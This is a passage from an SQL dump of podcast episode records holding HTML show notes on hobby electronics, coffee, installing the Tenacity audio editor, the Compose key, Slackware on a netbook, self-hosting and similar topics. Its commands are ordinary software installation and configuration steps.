listened...</li>\r\n<li>adruino.cc download and install arduino IDE</li>\r\n<li>various screwdrivers, pliers, straight airplane snips, drill with assorted bits. hacksaw, ruler, soldering station, multimeter,</li>\r\n<li>parts drawers for organizing small parts,</li>\r\n<li>several rubbermaid bins or cardboard boxes for cct boards, ABS pieces, etc.</li>\r\n</ul></li>\r\n<li>Collect and disassemble post apocalyptic scraps:\r\n<ul>\r\n<li><em>safety note</em>: Be careful when disassembling; use pliers rather than your fingers as much as possible. Printers and other products can sometimes be tricky to take apart. There may not be any visible screws to remove. The case cover may just snap into place and sometimes it feels like you are going to break the part before it unsnaps. Be aware that the ABS can snap if you force it past its breaking point, it is strong but when it breaks it can have sharp edges. Be especially careful when taking apart laptop batteries. Try not to short any circuits, and watch out because the metal strips that connect the 18650 cells are very sharp. Use pliers and metal cutters and remember not to create any circuits with your metal tools!</li>\r\n</ul></li>\r\n</ol>\r\n<h3 id=\"ingredients\">Ingredients</h3>\r\n<ul>\r\n<li><p>Printers are a great source of mechanical and chassis parts, including motors. The best are the ones with scanners built-in, which means an extra stepper motor.</p>\r\n<ul>\r\n<li>motors A mid sized printer will usually have two electric motors of the same size along with a few other smaller motors and stepper motors. Have two identical printers and you will have the 4 identical motors needed. It is OK to have 2 smaller and 2 larger motors and put one pair in front and one pair in back.</li>\r\n<li>steel rods, wheels with rubber tires, gears, specialty steel plates, reed switches, rotary encoders, ir switches</li>\r\n<li>ABS parts including a power supply cover that can hold Arduino.</li>\r\n<li>Glass panel can be repurposed as solar panel with cheap Chinese solar cells.</li>\r\n</ul></li>\r\n<li><p>UPS - for relays and opto isolators</p></li>\r\n<li><p>TVs - wire, speakers, optoisolators, lots of transistors and other components in older tvs.</p></li>\r\n<li><p>laptops, power tools, cell phones - lithium ion batteries</p></li>\r\n<li><p>books: libgen.is</p>\r\n<ul>\r\n<li><a href=\"https://designingelectronics.com/\" class=\"uri\">https://designingelectronics.com/</a></li>\r\n</ul></li>\r\n</ul>\r\n<p><em>Example of useful parts</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3522/20200715_184540.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3522/20200715_184540_thumbnail.jpg\" alt=\"Example of useful parts\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n',401,0,1,'CC-BY-SA','beam,righttorepair,robots,mechatronics,apocalypse',0,0,1),
(3545,'2022-03-04','How I make coffee',302,'Making coffee, and a podcast recommendation','<h4 id=\"coffeemaker\">Coffeemaker</h4>\r\n<ul>\r\n<li>Bunn model: Speedbrew</li>\r\n<li>Heats a reservoir to 200 &#x2109;</li>\r\n<li>Displaces a minimum of 4 cups for a fresh pot</li>\r\n</ul>\r\n<p><em>Bunn Coffeemaker and grinder</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3545/image_001.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3545/image_001_thumbnail.jpg\" alt=\"Bunn Coffeemaker and grinder\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> </p>\r\n<p><em>This was too coarse, but still had a good taste</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3545/image_002.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3545/image_002_thumbnail.jpg\" alt=\"This was too coarse, but still had a good taste\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> </p>\r\n<h4 id=\"coffee-of-the-day\">Coffee of the day</h4>\r\n<ul>\r\n<li>Door County Coffee and Tea Co.: Jingle Bell Java\r\n<ul>\r\n<li>Located in the U.S., in Sturgeon Bay, Wisconsin</li>\r\n</ul></li>\r\n</ul>\r\n<p><em>Jingle Bell Java</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3545/image_003.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3545/image_003_thumbnail.jpg\" alt=\"Jingle Bell Java\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> </p>\r\n<h4 id=\"ham-radio-crash-course\">Ham Radio Crash Course</h4>\r\n<ul>\r\n<li><p>Started by Josh Nass (KI6NAZ) as a YouTube channel,</p></li>\r\n<li><p>Ham Radio Crash Course (HRCC) has evolved into a rapidly growing community of radio enthusiasts that are excited to grow in the hobby, and help others grow as well.</p></li>\r\n<li><p><a href=\"https://www.qrz.com/db/ki6naz\" class=\"uri\">https://www.qrz.com/db/ki6naz</a></p></li>\r\n<li><p>RSS Feed</p>\r\n<ul>\r\n<li><a href=\"https://feed.podbean.com/hamradiocrashcourse/feed.xml\" class=\"uri\">https://feed.podbean.com/hamradiocrashcourse/feed.xml</a></li>\r\n</ul></li>\r\n<li><p>Youtube channel</p>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/channel/UChAu6Cof9KlfFxSbL9ytosQ\" class=\"uri\">https://www.youtube.com/channel/UChAu6Cof9KlfFxSbL9ytosQ</a></li>\r\n</ul></li>\r\n</ul>\r\n',318,88,0,'CC-BY-SA','coffee, podcast, ham radio',0,0,1),
(3538,'2022-02-23','Installing the Tenacity audio editor',272,'Installing Tenacity, and the reasons behind the fork.','<h4 id=\"audacity-vs.-tenacity\">Audacity vs. Tenacity</h4>\r\n<ul>\r\n<li><a href=\"https://www.engadget.com/audacity-privacy-policy-spyware-accusations-data-collection-210001803.html\" class=\"uri\">https://www.engadget.com/audacity-privacy-policy-spyware-accusations-data-collection-210001803.html</a></li>\r\n<li><a href=\"https://hackaday.com/2021/07/23/new-privacy-policy-gets-audacity-back-on-track\" class=\"uri\">https://hackaday.com/2021/07/23/new-privacy-policy-gets-audacity-back-on-track</a></li>\r\n</ul>\r\n<h4 id=\"tenacity-project-page\">Tenacity project page</h4>\r\n<ul>\r\n<li><a href=\"https://tenacityaudio.org\" class=\"uri\">https://tenacityaudio.org</a></li>\r\n</ul>\r\n<h5 id=\"reason-for-forking-the-audacity-project\">Reason for forking the Audacity project</h5>\r\n<p>Motivation</p>\r\n<p>Our project initially started as a fork of Audacity as a result of multiple controversies and public relation crises, which you can find out more about here:</p>\r\n<ul>\r\n<li><p><a href=\"https://github.com/audacity/audacity/issues/1213\">Privacy policy which may violate the original project\'s GPL license</a></p></li>\r\n<li><p><a href=\"https://github.com/audacity/audacity/discussions/932\">Contributor\'s License Agreement (CLA) which may violate the same GPL license</a></p></li>\r\n<li><p><a href=\"https://github.com/audacity/audacity/pull/835\">Attempts at adding telemetry using Google services for data collection</a></p></li>\r\n</ul>\r\n<p>Nevertheless, the goal of this project is to pick up what the original developers of Audacity the decades-long work by the original creators of Audacity and create an audio editor that is fresh, more modern, convenient and practical to use, with the help and the guidance of our users and our community.</p>\r\n<ul>\r\n<li><a href=\"https://github.com/tenacityteam/tenacity#motivation\" class=\"uri\">https://github.com/tenacityteam/tenacity#motivation</a></li>\r\n</ul>\r\n<h5 id=\"community-section\">Community section</h5>\r\n<ul>\r\n<li><a href=\"https://tenacityaudio.org/#community-buttons\" class=\"uri\">https://tenacityaudio.org/#community-buttons</a></li>\r\n</ul>\r\n<h5 id=\"flatpak-nightly-build\">Flatpak nightly build</h5>\r\n<ul>\r\n<li><a href=\"https://github.com/tenacityteam/tenacity-flatpak-nightly/blob/main/README.md\" class=\"uri\">https://github.com/tenacityteam/tenacity-flatpak-nightly/blob/main/README.md</a></li>\r\n</ul>\r\n<pre><code>flatpak remote-add tenacity oci+https://tenacityteam.github.io/tenacity-flatpak-nightly\r\nflatpak install tenacity org.tenacityaudio.Tenacity</code></pre>\r\n<ul>\r\n<li><h5 id=\"update-flatpak\">Update Flatpak</h5>\r\n<ul>\r\n<li><code>flatpak update tenacity org.tenacityaudio.Tenacity</code></li>\r\n</ul></li>\r\n</ul>\r\n<h4 id=\"build-instructions-for-cmake\">Build instructions for Cmake</h4>\r\n<ul>\r\n<li><a href=\"https://gist.github.com/ricemark20/17382125f04083b3cdcda3d8bed64e4a\" class=\"uri\">https://gist.github.com/ricemark20/17382125f04083b3cdcda3d8bed64e4a</a></li>\r\n</ul>\r\n<pre><code>Clone Tenacity from the Tenacity GitHub project.\r\n\r\n $ git clone https://github.com/tenacityteam/tenacity/\r\n $ cd tenacity\r\n\r\n Configure Tenacity using CMake:\r\n\r\n $ mkdir build &amp;&amp; cd build\r\n $ cmake -G &quot;Unix Makefiles&quot; -Duse_ffmpeg=loaded ..\r\n\r\n By default, Debug build will be configured. To change that, pass -DCMAKE_BUILD_TYPE=Release to CMake.\r\n\r\n Build Tenacity:\r\n\r\n $ make -j`nproc`\r\n\r\n $ sudo make install</code></pre>\r\n<p><em>Current version:3.0.2-895-g0665614</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3538/inmage_001.png\" alt=\"Current version:3.0.2-895-g0665614\" /></p>\r\n',318,0,0,'CC-BY-SA','Tenacity, Audacity, Github, Cmake, make, audio editor, telemetry, Google, tracking',0,0,1),
(3523,'2022-02-02','The Compose key',406,'What is the compose key, and how to set it up on X, GNOME and Windows.','<p>The Compose key allows you to input any character or sequence of characters regardless what keyboard layout you use, by typing the Compose key followed by a sequence of other keys. To use it, you must activate it in your system and choose what key you want to serve as the Compose key.</p>\r\n<p>If on Windows, we don\'t judge, we understand it\'s because, like me, you have no choice, and that\'s OK, one day we\'ll all get to live the dream, until then we\'ll just make do... WinCompose enables the compose key on that wretched environment. It comes with a ton of additional sequences, plus a fancy GUI for creating your own.</p>\r\n<p>If you use X, I suggest looking at the ArchLinux Wiki: <a href=\"https://wiki.archlinux.org/title/Xorg/Keyboard_configuration#Configuring_compose_key\">https://wiki.archlinux.org/title/Xorg/Keyboard_configuration#Configuring_compose_key</a></p>\r\n<p>If you are a GNOME user, install GNOME Tweaks to activate the Compose key.</p>\r\n<p>$HOME/.XCompose</p>\r\n<pre><code>include &quot;%L&quot;\r\n&lt;Multi_key&gt; &lt;Multi_key&gt; &lt;braceleft&gt; : &quot;&amp;#123;&quot;\r\n&lt;Multi_key&gt; &lt;Multi_key&gt; &lt;braceright&gt; : &quot;&amp;#125;&quot;\r\n&lt;Multi_key&gt; &lt;Multi_key&gt; &lt;t&gt; &lt;f&gt; : &quot;(&#x256F;&#xB0;&#x25A1;&#xB0;&#xFF09;&#x256F;&#xFE35; &#x253B;&#x2501;&#x253B;&quot;\r\n&lt;Multi_key&gt; &lt;C&gt; &lt;C&gt; &lt;C&gt; &lt;P&gt; : &quot;&#x262D;&quot;\r\n</code></pre>\r\n<p>Note that that last one actually comes with X by default. In ArchLinux, all the default sequences can be found in <code>/usr/share/X11/locale/&lt;your-locale&gt;/Compose</code>. Also good to find out what to call your keys when writing your own sequences.</p>\r\n<p><code>/etc/X11/xorg.conf.d/00-keyboard.conf</code> is the file that makes the Compose key happen in X.</p>\r\n<pre><code>Section &quot;InputClass&quot;\r\n Identifier &quot;system-keyoard&quot;\r\n MatchIsKeyboard &quot;on&quot;\r\n Option &quot;XkbLayout&quot; &quot;us&quot;\r\n Option &quot;XkbModel&quot; &quot;acer_laptop&quot;\r\n Option &quot;XkbOptions&quot; &quot;compose:ralt,ctrl:nocaps&quot;\r\nEndSection\r\n</code></pre>\r\n<p>Note that it is not recommended to edit the file above, but use <code>localectl</code> to edit it. I don\'t know why that is. To learn more about that, and all the many options available, start with <a href=\"https://wiki.archlinux.org/title/Xorg/Keyboard_configuration#Using_localectl\">https://wiki.archlinux.org/title/Xorg/Keyboard_configuration#Using_localectl</a></p>\r\n',399,0,0,'CC-BY-SA','Xorg,X11,compose,composekey',0,0,1),
(3524,'2022-02-03','Wheels Addendum - How to Reliably Attach Wheels to PAR Robot Platform',393,'The most difficult part of Post Apocalyptic Robotics - how to keep the wheels on','<p><a href=\"https://hackerpublicradio.org/eps.php?id=3522\">https://hackerpublicradio.org/eps.php?id=3522</a></p>\r\n<p>Video is already uploaded <a href=\"https://www.bitchute.com/video/HyT5Yz5bhjfS/\">https://www.bitchute.com/video/HyT5Yz5bhjfS/</a></p>\r\n<p><em>Picture 1</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114225.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114225_thumbnail.jpg\" alt=\"Picture 1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 2</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114332.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114332_thumbnail.jpg\" alt=\"Picture 2\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 3</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114438.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114438_thumbnail.jpg\" alt=\"Picture 3\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 4</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114501.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114501_thumbnail.jpg\" alt=\"Picture 4\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 5</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114514.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114514_thumbnail.jpg\" alt=\"Picture 5\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 6</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114545.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114545_thumbnail.jpg\" alt=\"Picture 6\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 7</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114717.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114717_thumbnail.jpg\" alt=\"Picture 7\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 8</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114723.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114723_thumbnail.jpg\" alt=\"Picture 8\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 9</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114731.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114731_thumbnail.jpg\" alt=\"Picture 9\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 10</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114739.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114739_thumbnail.jpg\" alt=\"Picture 10\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 11</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114940.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_114940_thumbnail.jpg\" alt=\"Picture 11\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p><em>Picture 12</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_115057.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3524/IMG_20220121_115057_thumbnail.jpg\" alt=\"Picture 12\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n',401,0,0,'CC-BY-SA','beam,righttorepair,robots,mechatronics,apocalypse',0,0,1),
(3525,'2022-02-04','Battling with English - part 4',920,'Some confusion with English plurals; strange language changes','<h2 id=\"confusing-plurals\">Confusing plurals</h2>\r\n<p>In this episode, the fourth of this series, Im looking at some words that have singular and plural forms that are very different. These lead to a lot of confusion as well see.</p>\r\n<p>I also want to look at the way that English is evolving in some very strange and apparently senseless ways!</p>\r\n<p><small><b>Personal note:</b> I notice I started preparing this show in 2019; unfortunately, COVID messed up my productivity for the next two years, but I hope I can now begin to be productive again! </small></p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be viewed by following <a href=\"https://hackerpublicradio.org/eps/hpr3525/full_shownotes.html\">the full notes link</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Plural of <em>thesis</em>:\r\n<ul>\r\n<li><a href=\"https://www.grammar-monster.com/plurals/plural_of_thesis.htm\">Grammar Monster</a>\r\n<ul>\r\n<li>This link has some good advice for dealing with weird plurals, though some you just have to remember, there are no rules!</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Irregular plurals which end with <code>\"ae\"</code> (or <code>\"æ\"</code>):\r\n<ul>\r\n<li><a href=\"https://en.wiktionary.org/wiki/Category:English_irregular_plurals_ending_in_%22-ae%22\">Wiktionary</a>\r\n<ul>\r\n<li>This is a list of these plurals, 159 of them at the time of writing. Many of these are obsolete however.</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>The “is is” problem:\r\n<ul>\r\n<li><a href=\"https://english.stackexchange.com/questions/36683/why-do-some-people-say-the-reason-is-is-that-with-is-twice-in-a-row\">StackExchange: <em>Why do some people say “the reason is is that,” with “is” twice in a row?</em></a></li>\r\n<li><a href=\"https://www.grammarbook.com/blog/effective-writing/what-is-is-is-is-exasperating/\">GrammarBook.com: What Is-Is Is, Is Exasperating</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Double_copula\">Wikipedia article on the <em>Double Copula</em></a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>“Honing in”:\r\n<ul>\r\n<li><a href=\"https://www.merriam-webster.com/dictionary/hone%20in\">Merriam-Webster: <em>hone in</em></a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=JZ07FbgQkqk\"><em>Me Ears Are Alight</em> old British advertisement</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Previous episodes in this series:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2558\">Battling with English - part 1</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2596\">Battling with English - part 2</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2751\">Battling with English - part 3</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,120,1,'CC-BY-SA','grammar,spelling,plurals,word misuse,English,language evolution',0,0,1),
(3539,'2022-02-24','Linux Inlaws S01E50: The OpenSUSE Project',4079,'An interview with Doug DeMaio and Axel Braun from the OpenSUSE project','<p>In this episode of the Inlaws our two ageing heroes host Doug DeMaio and Axel Braun, both intimately\r\nassociated with and actively supporting the OpenSUSE project, the foundation of one of the popular Linux distros\r\napart from RedHat and Debian for companies of all sizes (yes, and Ubuntu before I get any hate mails\r\nfrom Mark Shuttleworth or Cannonical in general :-). Apologies for not mentioning Alma, CentOS or\r\nRocky Linux. Topics of discussion include the advantages of hipster concepts like rolling releases,\r\nthe year of the Linux desktop, other people\'s computers (aka Clouds) and philosophical things like\r\nIT security, all things cloud-native (well, almost) and Apple laptop users drinking fancy coffee\r\nderivatives. Never mind containers, edge-computing operating systems and live kernel patching.</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>OpenSUSE: <a href=\"https://www.opensuse.org\" target=_blank>https://www.opensuse.org</a></li>\r\n<li>SUSE: <a href=\"https://www.suse.com\" target=_blank>https://www.suse.com</a></li>\r\n<li>openQA: <a href=\"https://open.qa\" target=_blank>https://open.qa</a></li>\r\n<li>Open Build Service: <a href=\"https://openbuildservice.org\" target=_blank>https://openbuildservice.org</a></li>\r\n<li>CentOS debacle: <a href=\"https://arstechnica.com/gadgets/2020/12/centos-shifts-from-red-hat-unbranded-to-red-hat-beta\" target=_blank>https://arstechnica.com/gadgets/2020/12/centos-shifts-from-red-hat-unbranded-to-red-hat-beta</a></li>\r\n<li>OpenSUSE conference: <a href=\"https://events.opensuse.org\" target=_blank>https://events.opensuse.org</a></li>\r\n<li>MicroOS: <a href=\"https://microos.opensuse.org\" target=_blank>https://microos.opensuse.org</a></li>\r\n<li>Kubic: <a href=\"https://kubic.opensuse.org\" target=_blank>https://kubic.opensuse.org</a></li>\r\n<li>Rancher: <a href=\"https://www.suse.com/products/rancher-kubernetes-engine\" target=_blank>https://www.suse.com/products/rancher-kubernetes-engine</a></li>\r\n<li>OpenSUSE mailing lists: <a href=\"https://lists.opensuse.org/archives\" target=_blank>https://lists.opensuse.org/archives</a></li>\r\n<li>OpenSUSE bar: <a href=\"https://meet.opensuse.org/bar\" target=_blank>https://meet.opensuse.org/bar</a></li>\r\n<li>OpenSUSE social media: <a href=\"https://en.opensuse.org/openSUSE:Social_media_contacts\" target=_blank>https://en.opensuse.org/openSUSE:Social_media_contacts</a></li>\r\n<li>OpenSUSE IRC: <a href=\"https://en.opensuse.org/openSUSE:IRC_list\" target=_blank>https://en.opensuse.org/openSUSE:IRC_list</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','OpenSUSE, Kubic, MicroOS, Clouds, Lattes, Desktops',0,0,1),
(3527,'2022-02-08','My gEeeky Experiment - Part 3',816,'Claudio talks about how he upgraded the SSD on his Asus Eee PC 901 netbook.','<ul>\r\n<li><p>hpr3383 :: My gEeeky Experiment - Part 1<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=3383\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3383</a></p></li>\r\n<li><p>hpr3418 :: My gEeeky Experiment - Part 2<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=3418\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=3418</a></p></li>\r\n<li><p>Blog post: <a href=\"https://claudiomiranda.wordpress.com/2020/10/04/my-geeeky-experiment-part-3\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/10/04/my-geeeky-experiment-part-3</a></p></li>\r\n</ul>\r\n<p>Contact: claudiom@bsd.network (Mastodon)<br />\r\nIRC: ClaudioM on #oggcastplanet (Libera.chat)</p>\r\n',152,0,0,'CC-BY-SA','openbsd,netbook,asus,eeepc,upgrades,ssd',0,0,1),
(3528,'2022-02-09','Slackware on a netbook',346,'A response show to HPR3512','<h3 id=\"installed-slackware-on-acer-aspire-one\">Installed Slackware on Acer Aspire One</h3>\r\n<ul>\r\n<li><p>4.4.14-smp #2 SMP Fri Jun 24 14:44:24 CDT 2016 i686 Intel(R) Atom(TM) CPU N270 @ 1.60GHz GenuineIntel GNU/Linux</p></li>\r\n<li><p>1 Gb ram</p>\r\n<pre><code>[mark@archer72:~ ] $ free total --mega\r\n total used free shared buff/cache available\r\nMem: 1009 172 376 0 459 692\r\nSwap: 1048 0 1048</code></pre></li>\r\n<li><p>Runs a little warm</p>\r\n<pre><code>[mark@archer72:~ ] $ sensors\r\n\r\ncoretemp-isa-0000\r\nAdapter: ISA adapter\r\nCore 0: +45.0 &amp;#8451; (crit = +90.0 &amp;#8451;)</code></pre></li>\r\n<li><p>Ignore lid switch</p>\r\n<p><code>echo on &gt;/sys/bus/acpi/drivers/button/$PLATFORM\\:00/power/control</code></p>\r\n<p>Or in this case</p>\r\n<p><code>echo on &gt; /bus/acpi/drivers/button/LNXPWRBN\\:00/power/control</code></p></li>\r\n<li><p>Clear screen in BASH</p>\r\n<ul>\r\n<li><p>Enter in ~/.bashrc the line:</p>\r\n<p><code>bind -x $\'\"\\C-l\":clear;\'</code></p></li>\r\n<li><p>Not working between reboots</p></li>\r\n</ul></li>\r\n</ul>\r\n<p><quote></p>\r\n<p>If you always want the content of your .bashrc file processed, you can add the following lines to your .bash_profile file, creating that file if it does not already exist:</p>\r\n<pre><code>if [ -f ~/.bashrc ]; then\r\n . ~/.bashrc\r\nfi</code></pre>\r\n<p>Per its man page, bash \"[...] looks for ~/.bash_profile, ~/.bash_login, and ~/.profile, in that order, and reads and executes commands from the first one that exists and is readable.\" Conventions and policies of your local system will determine which, if any, of these files already exist.</p>\r\n<p>A word of caution: be aware that creating a new .bash_profile in your home directory could have the unintended side-effect of preventing the reading and executing of commands in a .bash_login or .profile file already present, changing further the behavior of subsequent logins. </quote></p>\r\n<p><a href=\"https://stackoverflow.com/questions/18393521/bashrc-not-loading-until-run-bash-command\" class=\"uri\">https://stackoverflow.com/questions/18393521/bashrc-not-loading-until-run-bash-command</a></p>\r\n<ul>\r\n<li><p>Change lilo menu timeout to 5 seconds</p>\r\n<ul>\r\n<li><p>edit /etc/lilo.conf</p>\r\n<pre><code>.\r\n.\r\n# This is given in tenths of a second, so 600 for every minute:\r\n# timeout = 1200\r\ntimeout = 50\r\n.\r\n.</code></pre></li>\r\n</ul></li>\r\n<li><p>Add custom bash prompt.</p>\r\n<pre><code> PS1=&quot;&quot;[\\d \\t \\u@\\h:\\w ]&quot; $ &quot;\r\n [Sat Feb 05 18:11:15 mark@archer72:~ ] $</code></pre></li>\r\n<li><p>For a more concise prompt:</p>\r\n<pre><code> PS1=&quot;[\\u@\\h:\\w ] $\r\n [mark@archer72:~ ] $</code></pre></li>\r\n<li><p>Not authorized to control networking</p>\r\n<p><code>sudo usermod -G netdev -a yourusername</code></p>\r\n<ul>\r\n<li><a href=\"https://askubuntu.com/questions/304159/not-authorized-to-control-networking#304181\" class=\"uri\">https://askubuntu.com/questions/304159/not-authorized-to-control-networking#304181</a></li>\r\n</ul></li>\r\n</ul>\r\n',318,0,0,'CC-BY-SA','Slackware, Auld hardware, netbook',0,0,1),
(3531,'2022-02-14','Barrier: Software KVM',1039,'A brief inroduction to the Barrier software KVM','<p>This episode is a quick software recommendation/introduction to <a href=\"https://github.com/debauchee/barrier\">Barrier</a>. Barrier is a software KVM, forked from <a href=\"https://symless.com/synergy\">Synergy</a>. It sends your keystrokes and mouse input over the network, so that you can share your input devices between computers.</p>\r\n',196,0,0,'CC-BY-SA','kvm,Barrier,network,keyboard,mouse',0,0,1),
(3532,'2022-02-15','Self-hosting in small scale E0: Disclaimer and general idea',545,'This ep is just explanation of the general idea and introducing useful communities around the topic','<p>By the end of the series I would like to end up with an example repository on Github/Gitlab with scenarios and example configuration file which makes them easy to replicate and modify to your need. I am interested in your opinion what type of service would you fancy to self-host yourself. So don\'t hesitate to contact me on twitter, matrix.org or in email.</p>\r\n<p>Twitter: <span class=\"citation\" data-cites=\"takov751\">@takov751</span><br />\r\nmatrix: takov751:matrix.org<br />\r\nemail: takov751+hpr@protonmail.com</p>\r\n<p>Few interesting communities/project:</p>\r\n<ul>\r\n<li><p>Community around making a curated list of their own docker images and maintain them:<br />\r\n<a href=\"https://linuxserver.io\" class=\"uri\">https://linuxserver.io</a></p></li>\r\n<li><p>Open source project for home automation: <a href=\"https://www.home-assistant.io/\" class=\"uri\">https://www.home-assistant.io/</a></p></li>\r\n</ul>\r\n',402,0,0,'CC-BY-SA','self-host, devsecops, docker',0,0,1),
(3533,'2022-02-16','Porridge',1741,'A show about porridge','<p>This is a show about porridge.</p>\r\n<p>Episodes mentioned in this episode:</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3272\">hpr3272 :: In GNU/Linux, there is no \"diversity\", we\'re all just data. hosted by Some Guy On The Internet </a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3257\">hpr3257 :: Lack of diversity in Linux and other open source communities hosted by swift110 </a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3251\">hpr3251 :: Opposing Views on Alcohol hosted by Windigo </a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3247\">hpr3247 :: Saturday Morning Automotive Routine hosted by TrumpetJohn </a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3223\">hpr3223 :: My COVID year summary hosted by b-yeezi </a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3121\">hpr3121 :: Opposing Views on Tattoos hosted by Windigo </a></li>\r\n</ul>\r\n<p>Island mentioned in this episode: <a href=\"https://en.wikipedia.org/wiki/St_Kilda,_Scotland\">https://en.wikipedia.org/wiki/St_Kilda,_Scotland</a></p>\r\n<p>All the porridge: <a href=\"https://en.wikipedia.org/wiki/List_of_porridges\">https://en.wikipedia.org/wiki/List_of_porridges</a></p>\r\n',399,0,0,'CC-BY-SA','porridge',0,0,1),
(3534,'2022-02-17','Vernier caliper',519,'Ken recommends a very useful tool for measuring stuff','<p>\r\nIn today\'s show Ken recommends a fairly affordable tool for measuring all sorts of dimensions.\r\n</p>\r\n\r\n<img src=\"/eps/hpr3534/Vernier_caliper.svg.png\" alt=\"An image of a Vernier caliper\" />\r\n\r\n<p>\r\nFrom <a href=\"https://en.wikipedia.org/wiki/Calipers#Vernier_caliper\">Wikipedia</a>\r\n</p>\r\n\r\n<ol>\r\n\r\n<li>Outside large jaws: used to measure external diameter of an object (like a hollow cylinder) or width of an object (like a rod), diameter of an object (like a sphere).</li>\r\n<li>Inside small jaws: used to measure the internal diameter of an object (like a hollow cylinder or pipe).</li>\r\n<li>Depth probe/rod: used to measure depths of an object (like a small beaker) or a hole.</li>\r\n<li>Main scale (Metric): marked every millimeter and helps to measure length correct up to 1 mm.</li>\r\n<li>Main scale (Imperial): marked in inches and fractions.</li>\r\n<li>Vernier scale (Metric) 